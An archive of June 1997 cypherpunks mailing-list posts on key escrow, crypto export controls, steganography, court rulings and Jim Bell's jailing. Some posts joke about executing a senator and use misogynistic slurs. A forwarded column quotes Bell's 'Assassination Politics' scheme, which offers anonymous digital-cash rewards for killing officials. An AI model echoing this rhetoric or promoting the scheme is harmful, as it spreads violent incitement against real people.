   terrorists from making themselves impregnable to a degree never before
   seen. "Key management" does not, however, exist. And the
   administration has gone so far toward undercutting its own position --
   saying key escrow should be voluntary, trying to accommodate industry
   with numerous exemptions, licensing uncrackable software separately
   for banks -- that it's not clear it ever will exist.
   
   Meanwhile, the once-obscure drive to make unlimited-strength
   cryptography available to all has picked up momentum -- and some odd
   allies. Phyllis Schlafly was among those who testified in favor of the
   SAFE bill, saying it would protect Americans from unprecedented
   government intrusion and the FBI reading their mail. Libertarian
   groups such as Americans for Tax Freedom are enthusiastic about the
   vision of a world where powerful, widely available encryption renders
   communications totally safe.
   
   The odd part is that there currently are no restrictions on use of
   uncrackable encryption software within this country. The software
   industry has argued that the export control makes for a de facto
   domestic curb, because it's too complicated to market a full-strength
   version for the domestic market and a weaker one for the foreign
   market. But this isn't a very persuasive argument, since most popular
   software programs exist in dozens of versions for different markets
   and in different languages.
   
   The real question is whether you believe this stuff poses a
   significant national security threat in the wrong hands. If you do --
   and we think it irresponsible to assume otherwise -- then it's not
   enough to declare uncrackable privacy a civil right. You have to at
   least address the question of how to minimize intrusion into that
   right while preserving some ability to grapple with the potential
   danger. Neither the SAFE advocates in Congress nor the
   administration's voluntary escrow enthusiasts up to now have laid out
   that vision in a convincing way.

###









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 12:01:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <199706222220.AAA26096@basement.replay.com>
Message-ID: <v03102801afd3a3255d09@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:53 PM -0700 6/22/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <199706222220.AAA26096@basement.replay.com>, on 06/23/97
>   at 12:20 AM, nobody@REPLAY.COM (Anonymous) said:
>
>>>  Digital Commerce *is* Financial Cryptography,
>>>  Financial Cryptography *is* Strong Cryptography,
>>>  therefore,
>>>  Digital Commerce *is* Strong Cryptography.
>>>  and, therefore,
>>>  No Strong Cryptography, no Digital Commerce.
>
>>Why can't escrowed ecash support digital commerce?  Strong crypto with a
>>government backdoor.  That's what you're offered.  Prove it can't work.
>
>Because no one with any sence is going to trust their finacial
>transactions to third party access and minipulation.

People do it all the time. The "third parties" are called "bankers." (And
escrow agents, and loan officers, and bank guards, and so on.)

I agree with "anonymous" that Bob Hettinga's syllogism is unconvincing.

Now, I happen to believe that untraceable, strong communications and
monetary instruments allow for amazing things.

But claiming that digital commerce is impossible with an escrowed key
system is not a very persuasive argument. (It is true that some major hacks
of the escrowed system would undermine confidence in e-commerce, but so
would major hacks of today's SWIFT or similar systems. So?)

Bob's syllogism is just too simplistic, and it won't be convicing to people
who have to deal with human weak links in existing systems, and even with
government interference and government ability to intervene (FinCEN,
freezing of assets, regulation, etc.).

Beware too much simplification. It may make for nice t-shirts, but....

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 23 Jun 1997 09:39:34 +0800
To: cypherpunks@cyberpass.net
Subject: spook pressure on crypto exports
Message-ID: <1.5.4.32.19970623013050.006ed9f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back asked for info crypto export news for AU, IE and NZ,
which I echo. I recall that Peter Gutmann has a standing request 
for crypto export info from anywhere. We'd like to host any reports 
that come in.

For those who've not seen it, his report on his bizarre trials is at:

   http://jya.com/nsazeal.htm

And a report on a weirdly similar UK experience by Mike Cobb is at:

   http://ukeep.htm

Documenting the various international experiences is a worthy
accompaniment to those of Bernstein, Karn and Junger, and about
the only way to expose global GAK at work. It seems to be 
spreading quietly, implemented case by case, wearing down 
isolated appliants with evasive procrastination, or promising a 
one-time approval, using the clock to threaten pending sales.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 23 Jun 1997 09:42:04 +0800
To: cypherpunks@cyberpass.net
Subject: spook pressure on crypto exports
Message-ID: <1.5.4.32.19970623013324.0067b6ec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Correction: Mike Cobb's report on UK export is at:

   http://jya.com/ukeep.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 04:51:38 +0800
To: tcmay@got.net
Subject: Re: Laying PipeNet
In-Reply-To: <v03102802afd305494670@[207.167.93.63]>
Message-ID: <199706222045.VAA00836@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> At 3:02 AM -0700 22/6/97, Adam Back wrote:
> >Text stego is hard to do.  At ultra low encoding rates (say a few bits
> >per email), it would be ok.  (Just message parity, perhaps the entropy
> >in the message-id, posting time).
> 
> Pointers can be useful. A small number of stego bits in a message of this
> length could be used to tell a recipient where to look for a longer
> message. Thus, this message could contain instructions to "Look at the
> image "cindy-fake17.gif" in "alt.binaries.erotica.cindy-crawford" for
> instructions about the Cabal meeting."

Provides some plausible deniability, more than posting random numbers.

> If the images are recyclings of older images, as most images in
> these porn groups are, then there is the problem that images may be
> diffed (compared) and the LSBs detected to be different. Fixes for
> this either include deliberate (and stated) "enhancement" in
> Photoshop, which is also fairly common, or scanning of some of those
> old Penthouse mags laying around! :-)

That's the major problem with images, you need to generate your own.
Unless you fancy writing an image enhancement system, and analyse the
algorithms in existing systems to ensure that randomness is
introduced.

Another idea, there's a golf-ball cam on top of my monitor, how many
list members have played with CU-SeeMe?  (You'd get to see my 2 year
old son playing with his toy tractor on the desk, making it difficult
to type, keeps pulling my hands off keyboard).

Does any of the CU-SeeMe stuff come with source code?  Cons: at 28.8k
modem speed, the image frame rate is poor, but worse the audio is near
unusable, also limited to 8 conference participants.

Or how about enhanced IRC with VR chat rooms?  You could get lower
bandwidth IRC stylised computer generated VR than you could video
stream.  I'm sure you could come up with some subliminal channels in
that (computer generated images, simulated moniker movements), and
you'd just need to chat on #cypherpunks for a while, and your posts
would be sent.  Quite plausible for cypherpunks to stop off at
#cypherpunks and reminisce about the days before non-gakked crypto was
outlawed.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 23 Jun 1997 12:56:41 +0800
To: cypherpunks@toad.com
Subject: Excerpts from New York and Georgia court decisions
Message-ID: <Pine.GSO.3.95.970622214624.23363P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sun, 22 Jun 1997 21:46:12 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Excerpts from New York and Georgia court decisions

----------

http://www.aclu.org/court/nycdadec.html

ALA v. Pataki Decision

Thus, as will be discussed in more detail below,
the New York Act is concerned with interstate
commerce and contravenes the Commerce Clause for
three reasons. First, the Act represents an
unconstitutional projection of New York law into
conduct that occurs wholly outside New York.
Second, the Act is invalid because although
protecting children from indecent material is a
legitimate and indisputably worthy subject of
state legislation, the burdens on interstate
commerce resulting from the Act clearly exceed
any local benefit derived from it. Finally, the
Internet is one of those areas of commerce that
must be marked off as a national preserve to
protect users from inconsistent 'legislation
that, taken to its most extreme, could paralyze
development of the Internet altogether. Thus,
the Commerce Clause ordains that only Congress
can legislate in this area, subject, of course,
to whatever limitations other provisions of the
Constitution (such as the First Amendment) may
require. [...]

The inescapable conclusion is that the Internet
represents an instrument of interstate commerce,
albeit an innovative one; the novelty of the
technology should not obscure the fact that
regulation of the Internet impels traditional
Commerce Clause considerations. The New York Act
is therefore closely concerned with interstate
commerce, and scrutiny of the Act under the
Commerce Clause is entirely appropriate. As
discussed in the following sections, the Act
cannot survive such scrutiny, because it places
an undue burden on interstate traffic, whether
that traffic be in goods, services, or ideas.
[...]

The State vigorously argues that its low was
designed to avoid the constitutional pitfalls
presented by the CDA; however, the New York Act
was clearly modelled on the CDA, and numerous
provisions of the New York Act mirror their
federal counterparts. [...]

I believe any determination of plaintiffs' First
Amendment challenge should therefore await the
guidance to be provided by the Supreme Court's
forthcoming opinion.

-----------

http://www.efga.org/hb1630/preliminary_injunction.html

AMERICAN CIVIL LIBERTIES UNION OF GEORGIA v.
ZELL MILLER, et al.,

Defendants allege that the statute's purpose is
fraud prevention, which the Court agrees is a
compelling state interest. However, the statute
is not narrowly tailored to achieve that end and
instead sweeps innocent, protected speech within
its scope. Specifically, by its plain language
the criminal prohibition applies regardless of
whether a speaker has any intent to deceive or
whether deception actually occurs. Therefore, it
could apply to a wide range of transmissions
which "falsely identify" the sender, but are not
"fraudulent" within the specific meaning of the
criminal code. [...]

The Court concludes that the statute was not
drafted with the precision necessary for laws
regulating speech. On its face, the act
prohibits such protected speech as the use of
false identification to avoid social ostracism,
to prevent discrimination and harassment, and to
protect privacy, as well as the use of trade
names or logos in non-commercial educational
speech, news, and commentary--a prohibition with
well-recognized first amendment problems. [...]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Mon, 23 Jun 1997 12:55:22 +0800
To: Lucky Green <cypherpunks@cyberpass.net
Subject: Re: CP uses for the PGP 5.0 source
In-Reply-To: <v03102800afd3687f206a@[10.0.2.15]>
Message-ID: <3.0.1.32.19970622214729.007d8550@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:05 PM 6/22/97 -0700, Lucky Green wrote:
>>ECash could really supply an economic shot in the arm for remailers, making
>>possible commercial (read profitable) remailers.  It will also offer a
>>ready-made market for accountless ecash, which will be available soon.
>>Jeremey Barrett's higher level ecash API should greatly simplify ecash
>>integration.
>
>Amen. What's the ETA?
>

The API as it stands is done, and tested fairly well on linux and bsdi.
Over the next week or two I have more to add though, and have to do some
porting, notably to windoze. But that's roughly the ETA. I think I'm gonna
set up some sort of mailing list for it, I'll post details.

BTW, I think the API header made it's way to this list a couple weeks ago,
but if people want to know what to expect, lemme know.

Regards,
Jeremey.

-----BEGIN PGP SIGNATURE-----
Version: 5.0
Charset: noconv

iQCVAwUBM63/4C/fy+vkqMxNAQE6JgQAls4T8T9N5wUSdEHY1HNE/ZBfkJJobOhL
7Z2ycP+mEj5dMnOy5Uekwz2sni30BeNAaByunjhd02VMl0otkeyORdIcpn4qvztT
cNUdEDpYnBaB6SGGAaXkXHDc9Ta/PedsPHjB3XfQz1XrIxgSbx4YzHNBbIOwtizh
mrDAxcTZYdI=
=GpwS
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 23 Jun 1997 13:13:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Bomb-making instructions....
Message-ID: <199706230501.WAA06981@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 22 Jun 97 at 20:32, Tim May wrote:

>The latest crime for which Senator Diane Swinestein has earned the
>[CENSORED] is her "bomb-making instructions on the Internet are illegal"
>bill.

> We need to hold a trial for this bitch. Then a quick trip to the
> firewall.

Tim:

That's "Murderous, Boss Killing Bitch", please.  Spam is free speech.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 23 Jun 1997 10:22:40 +0800
To: geeman@best.com
Subject: Re: The Global Fix is In
In-Reply-To: <3.0.32.19691231160000.006c4dd0@best.com>
Message-ID: <Pine.GSO.3.95.970622220654.18526A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Without taking a position on the rest of the following post, I should say
that it's the conservative thinktanks and grassroots groups that are
leading the opposition to all administration proposals and are taking a
crypto-absolutist stance. 

-Declan

Sure, libertarian groups are just as good or better, but there are fewer
of them. (Cato -still- hasn't come out with their crypto policy analysis
even after they've been working on it for half a year. At least their
privacy paper should be coming out soon. And CEI doesn't have the staff to
devote someone to this issue.) They've done a few conferences and such,
but they're limited by numbers. 



On Sun, 22 Jun 1997 geeman@best.com wrote:

> massive investments being made by Industry in the conservative thinktanks
> who produce the
> intellectual fodder-de-jour that supports the position of this elite, and
> overwhelm the
> likes of McCain and Kerrey with
> impossible-for-the-legislature-to-understand managed 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 14:11:29 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
In-Reply-To: <Pine.SOL.3.91.970623112514.26562A-100000@hardy.ocs.mq.edu.au>
Message-ID: <3.0.2.32.19970622224904.0077c668@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:26 AM 6/23/97 +1000, Jason William RENNIE wrote:
>NO i dont wish to post any, i just want to know if this list has spam 
>sent to it ?? I started reciveing various pieces in the last couple of 
>days and i'm trying to identify the source. 

Once in a while it gets spam; usually a couple of pieces a week.
When it does, you can look in the mail headers and you'll see
"cypherpunks", since it really is going though the mailing list.
I'm not aware of any direct spam that I've received as a result
of being on the list, but it could have happened.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Mon, 23 Jun 1997 17:08:59 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Bomb-making instructions....
In-Reply-To: <v03102802afd39c88cf3c@[207.167.93.63]>
Message-ID: <v03007812afd3bd504797@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

As I'm sure you know, CNN is probably safe in any case, reality being what
it is.

The fine line that DOJ recommended on the Feinstein Amendment is based
mainly on intent.  I don't have the report in front of me, but I think DOJ
recognized that widespread publication makes it harder to prove a nasty
intent.

Suppose CNN got the McVeigh transcripts, scanned them in, and put them up
on the Web.  It's pretty newsworthy.  Hard to see how there could be a
prosecution given the First Amendment, even if the Feinstein Amendment
became law.

Indeed, I would assume that the information would propagate to other sites
as well, including outside the United States.  At that point prosecution
seems even more difficult.

IMHO, proving intent is to some extent a function of how "public"
information is.  If information is publicly available but not very well
known, or perhaps more important, its being publicly available is not very
well known - then it is easier to convince a jury that knowing it implies
badness (unless you have a good, usually institution based, reason for
knowing it).

It would be an interesting piece of sociology of speech, law and technology
to do a serious, scholarly study of the public availability of existing
bombmaking information on the Web.  Where does it come from?  How much was
originally government information?  How accurate is it?  What kind of bombs
can be built with the info?  Who puts it up?  Then compare what's on the
Web to what's in university and public libraries.  This is the kind of
study that may not be doable once the Amendment passes, for obvious reasons.

Lee

At 8:32 PM -0700 6/22/97, Tim May wrote:
>The latest crime for which Senator Diane Swinestein has earned the
>[CENSORED] is her "bomb-making instructions on the Internet are illegal"
>bill.
>
>But I have a question. Does this mean CNN will face prosecution if it
>publishes the transcripts of the McVeigh case?




-----BEGIN PGP SIGNATURE-----
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Mon, 23 Jun 1997 17:07:32 +0800
To: John Young <cypherpunks@cyberpass.net
Subject: Re: McCain's War for Security
In-Reply-To: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>
Message-ID: <v03007810afd3a60ecea6@[163.176.132.90]>
MIME-Version: 1.0
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Hash: SHA1

Correct me if I'm wrong, but wasn't there also stuff in the article about
how McCain had been badly stung by some "ethics" problem, which apparently
was not really very serious but disturbed him personally and tainted his
image?

I am remembering vaguely reading somewhere that he felt his integrity had
been impugned (by all accounts he had long been considered above reproach)
and that he was as a result "on the warpath" to restore his image.

If that's a correct remembering, then that sense of a need to restore his
image may have made McCain a perfect target for "a treatment" by a clever
Administration gunning for Pro-CODE (sponsored by Burns, a less powerful
member of the Commerce Committee chaired by McCain, and someone already on
McCain's bad side according to Declan).

Hindsight is 20-20, but it was a perfect fit -- he's the chair of a
committee so he can force a bill through; Burns is on the committee so he
confronts Pro-CODE directly; according to Declan, he didn't get along with
Burns anyway; he wants to reclaim his public crusader image; and he's
always been strong on national security stuff.

Lee

At 12:26 PM -0700 6/22/97, John Young wrote:
>The New York Times Magazine had a feature story on
>Senator McCain a week or two ago which covered in
>detail his personal, military and political history and his
>heroic struggle to meet the high standards set by his
>admiral father, the Navy and individual ethics.
>
[good comments snipped]



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 23 Jun 1997 14:59:53 +0800
To: cypherpunks@toad.com
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970622234946.00af1174@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:38 PM 6/22/97 -0400, Robert Hettinga wrote:

>Admittedly, this is a distraction from the most important thing, which is
>writing code, but I bet that there are in fact cypherpunks-who-don't-code
>in Bell's neighborhood, and not necessarily even Friends of Jim, who would
>be happy to personally go see how Bell is doing and come back and tell us
>what happened. Think of it as part of the feedback loop for net.freedom. A
>trip into the coal mine with a canary cage.
>
>Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
>there want to do this?
............................................................................
.....


I live about an hour's drive from Tacoma.   I'm not too enthused about
taking such a lengthy trip just to go see how Mr. Private Assassinations is
doing, but - taking after your own methods, Robert - I'd be glad to do it
in exchange for a trip to Anguilla next Feb.  :>)

(You know, it is true that having friends in times of stress, like when
you're sitting in jail, is good for the soul, but on the other hand one
must give credit to Jim for his having created his own situation.   He did
provoke the government types into suspicions about him and he must have
known that distributing his AP ideas,  containing such apparent potential
for being translated into reality, would make him a grand target.   When
you do things like that, you ought to consider what you're going to do when
"they" come after you.   He afterall is quite aware of the atmosphere in
which we live and how fragile is the relationship (if it can be called
that) which civilians have with the local military saviors which daily
protect us from ourselves.)

Having said that, I'll consider the possibility, if visitors are allowed on
weekends.   Perhaps several cpunks could go (if anyone else around here
interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
one visitor at a time is allowed . 
  

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 23 Jun 1997 15:03:25 +0800
To: cypherpunks@toad.com
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970622235138.00aeb954@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:38 PM 6/22/97 -0400, Robert Hettinga wrote:

>Admittedly, this is a distraction from the most important thing, which is
>writing code, but I bet that there are in fact cypherpunks-who-don't-code
>in Bell's neighborhood, and not necessarily even Friends of Jim, who would
>be happy to personally go see how Bell is doing and come back and tell us
>what happened. Think of it as part of the feedback loop for net.freedom. A
>trip into the coal mine with a canary cage.
>
>Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
>there want to do this?
............................................................................
.....


I live about an hour's drive from Tacoma.   I'm not too enthused about
taking such a lengthy trip just to go see how Mr. Private Assassinations is
doing, but - taking after your own methods, Robert - I'd be glad to do it
in exchange for a trip to Anguilla next Feb.  :>)

(You know, it is true that having friends in times of stress, like when
you're sitting in jail, is good for the soul, but on the other hand one
must give credit to Jim for his having created his own situation.   He did
provoke the government types into suspicions about him and he must have
known that distributing his AP ideas,  containing such apparent potential
for being translated into reality, would make him a grand target.   When
you do things like that, you ought to consider what you're going to do when
"they" come after you.   He afterall is quite aware of the atmosphere in
which we live and how fragile is the relationship (if it can be called
that) which civilians have with the local military saviors which daily
protect us from ourselves.)

Having said that, I'll consider the possibility, if visitors are allowed on
weekends.   Perhaps several cpunks could go (if anyone else around here
interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
one visitor at a time is allowed . 
  

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 07:10:25 +0800
To: stewarts@ix.netcom.com
Subject: spook pressure on crypto exports (was Re: cypherpunks coding challenge)
In-Reply-To: <3.0.2.32.19970622141801.0076582c@popd.ix.netcom.com>
Message-ID: <199706222306.AAA01385@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




(cc'd to a couple of people who's name is mentioned in second half)

Bill Stewart <stewarts@ix.netcom.com> writes:
> Tim May <tcmay@got.net> writes:
> >Not to be tedious about this, but why would "lines of code" be an
> >interesting metric?
> 
> Yeah - I was thinking of the following entries:
>   Adam Back           RSAperl		4 lines
>   Adam Back et al.	RSAperl		2 lines
> 
> I don't think anybody's made a T-Shirt with SSLeay on it yet :-)

:-)

> (Though actually SSLeay has been very useful to a lot of the
> world's free cryptography, and has prompted the US spooks 
> to pressure the Australian spooks into restricting crypto exports,
> just as they've pressured the NZs into restricting them for
> Peter Gutman, and have been trying to work on the Irish...)

Could you elaborate on these.  I caught Peter Gutmann's comments on
the hassles a company he did some work for were having with the NZ
spooks.  (The spooks intercepted their mailed disk, plus some other
cloak and dagger spookish stuff).  Is this still going on, was it ever
resolved?  Can the next version of cryptlib be exported legally?  Or
are we relying on Peters bravery?

I remember vaguely some announcments about Australia.  Has Eric said
anything on this, has anything been enforced, is it legal to export
SSLeay from down under?

Ireland is new to me.  What's their problem?  Who's exporting things
to attract spook export attention over there?  (There are quite a lot
of high tech companies over there, it's a sort of Euro silicon valley,
mostly due to tax breaks, 10% corporation tax, etc).

Btw, the UK has it's own problems also.  You can export whatever you
want in `intangible form', but to post something in a tangible form,
such as perhaps a CD (or a perl-rsa T-shirt?) you need permission from
DTI in consultation with GCHQ.  There are several forms of license you
can get depending on what GCHQ think of your product and of you
politically.  These vary between getting a license to export pretty
much anywhere except embargoed countries (Iraq, China, etc) without
further hassle, to having to ask for export permission on a case by
case basis, going down to permission for repeat exports to the same
customer.  The heuristic by which permission is handed out is nearly
impossible to extract from the beaurocrats/spooks.  (Give us
protocols, and a customer, and we'll tell you.)

I have it unofficially from the hosses mouth that if you make use of
the intangible export loophole, that it might "reduce" your chances of
getting permission to export tangibly.

I thought Ireland was similar, being based on European legislation,
though perhaps with less of an axe to grind than GCHQ, being as GCHQ
(CESG) are the authors of the euro GAK, (CASM/Cloud Cover/Royal
Holloway TTP scheme) and the TTP paper which caused a fuss last month.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 23 Jun 1997 19:18:34 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <v03020926afd30f8f70cc@[139.167.130.247]>
Message-ID: <Pine.LNX.3.91.970623000738.542A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Has anybody local to Jim Bell's stir gone to visit our incarcerated, um,
> gaming enthusiast, lately, just to see if he needs anything? Oh. Besides
> *that* of course. :-).

I had thought that Jims court appearance was to be sometime about a week 
ago, what was he actually charged with? Has he appeared in court yet?

> That's because Bell is, however rediculous the offense or his behavior the
> first cypherpunk political prisoner. He's ours, folks, like it or not. It's
> time we faced it, and dealt with the problem accordingly.

Indeed, Jim is without doubt under arrest not on whatever cooked-up 
charges they are holding him on, but because of AP and his "loon" type 
possesion of carbon fibers etc. Jim certainly deserves our support, who 
next otherwise? You?

> Admittedly, this is a distraction from the most important thing, which is
> writing code, but I bet that there are in fact cypherpunks-who-don't-code
> in Bell's neighborhood, and not necessarily even Friends of Jim, who would
> be happy to personally go see how Bell is doing and come back and tell us
> what happened. Think of it as part of the feedback loop for net.freedom. A
> trip into the coal mine with a canary cage.

Not enough cypherpunks ever get round to writing significant code, myself 
included. I have lost count of the number of times I have sat down at a 
workstation overnight, got some way into starting a project, then just 
given up on it. I hope someone does go and see Jim, at the very least it 
would be a pleasant gesture and give Jim the message that the cypherpunks 
haven`t forgotten about him. Sure, It`s easy for me to talk, I can`t go 
and see him, I`m hardly in his neighbourhood, but if you shrug your 
shoulders and ignore his position it could be you next.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 23 Jun 1997 12:27:14 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <199706230158.DAA25236@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970623001303.18526D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Interesting theory, but unfortunately untrue. Bell is not being held
incommunicado. His mother told me she sees him regularly, if not daily.
His lawyer talks to him. He's able to make collect calls, like most
prisoners.

Hardly "incommunicado."

-Declan

PS: Note I'm not defending holding Bell without bail.


On Mon, 23 Jun 1997, Anonymous wrote:

> Free speech - Unless Govt. doesn't like it
> 
> From           talltom <"talltom(SPAMBLOCKER)"@ipns.com>
> Organization   Alternate Access Inc.
> Date           Sat, 21 Jun 1997 19:23:39 -0700
> Newsgroups     or.politics
> Message-ID     <33AC8CAB.199F@ipns.com>
> 
> This is in reference to a local, that's being held incommunicado
> in Tacoma. I've personally tried to contact Jim and the Marshalls 
> office said they'd "try" to get a message to him, wouldn't give me an 
> address, and were REALLY interested in my address.
> 
>  I believe the reason for holding Jim incomunicado is that the ACLU
> requires that the accused ask them for help, and the feds know that
> if Jim can't ask he won't get their help.
> 
> Vin covers the situation nicely...
> 
> [Vin Suprynowicz column:]
> 
>     In the summer of 1995, 39-year-old electronics engineer Jim Bell of
> Vancouver, Wash. (coincidentally the scene of the climactic battle 
> between militia and central government forces in Ian Slater's current 
> potboiler paperback "Showdown: U.S.A. vs. Militia,") penned an intriguing 
> and controversial essay called "Assassination Politics," which has since 
> been kicking around various Internet discussion groups, triggering 
> responses from delight to outrage.
> 
>   This section from Mr. Bell's introduction gives the gist:
> 
>   "A few months ago, I had a truly and quite literally 'revolutionary'
> idea, and I jokingly called it 'Assassination Politics': I speculated on
> the question of whether an organization could be set up to legally 
> announce that it would be awarding a cash prize to somebody who correctly
> 'predicted' the death of one of a list of violators of rights, usually
> either government employees, officeholders, or appointees. It could ask 
> for anonymous contributions from the public, and individuals would be able 
> send those contributions using digital cash.
> 
>   "I also speculated that using modern methods of public-key encryption 
> and anonymous 'digital cash,' it would be possible to make such awards in 
> such a way so that nobody knows who is getting awarded the money, only that 
> the award is being given. Even the organization itself would have no
> information that could help the authorities find the person responsible 
> for the prediction, let alone the one who caused the death. ...
> 
>   "Obviously, the problem with the general case is that the victim may be
> totally innocent under libertarian principles, which would make the 
> killing a crime, leading to the question of whether the person offering the 
> money was himself guilty.
> 
>   "(But) my speculation assumed that the 'victim' is a government 
> employee, presumably one who is not merely taking a paycheck of stolen tax 
> dollars, but also is guilty of extra violations of rights beyond this. 
> (Government agents responsible for the Ruby Ridge incident and Waco come 
> to mind.) In receiving such money and in his various acts, he violates the
> 'Non-aggression Principle' (NAP) and thus, presumably, any acts against 
> him are not the initiation of force under libertarian principles.
> 
>   "The organization set up to manage such a system could, presumably, 
> make up a list of people who had seriously violated the NAP, but who would 
> not see justice in our courts due to the fact that their actions were done 
> at the behest of the government. ..."
> 
>   In a followup essay titled "Fishing Expedition Swims Against the Tide,"
> published in the May 14 edition of the daily Portland Oregonian, Bell
> wrote, in part:
> 
>   "... I've been openly debating the idea on the Internet since then with
> anyone who will listen. My essay surprises many and shocks more than a
> few, but I am pleased that such a truly revolutionary concept has been so
> well received. Even the Columbian newspaper (www.columbian.com) has 
> decided to add a pointer to the essay.
> 
>   "The only 'threat' in the essay is to the jobs of the people who have
> been parasites on the rest of us for decades, as well as to the future of
> tyrannies around the world.  But that's why, on April 1, 20 federal 
> agents burst in and took my computer, told the news media I was 'armed and
> dangerous,' and began engaging in a fishing expedition including 
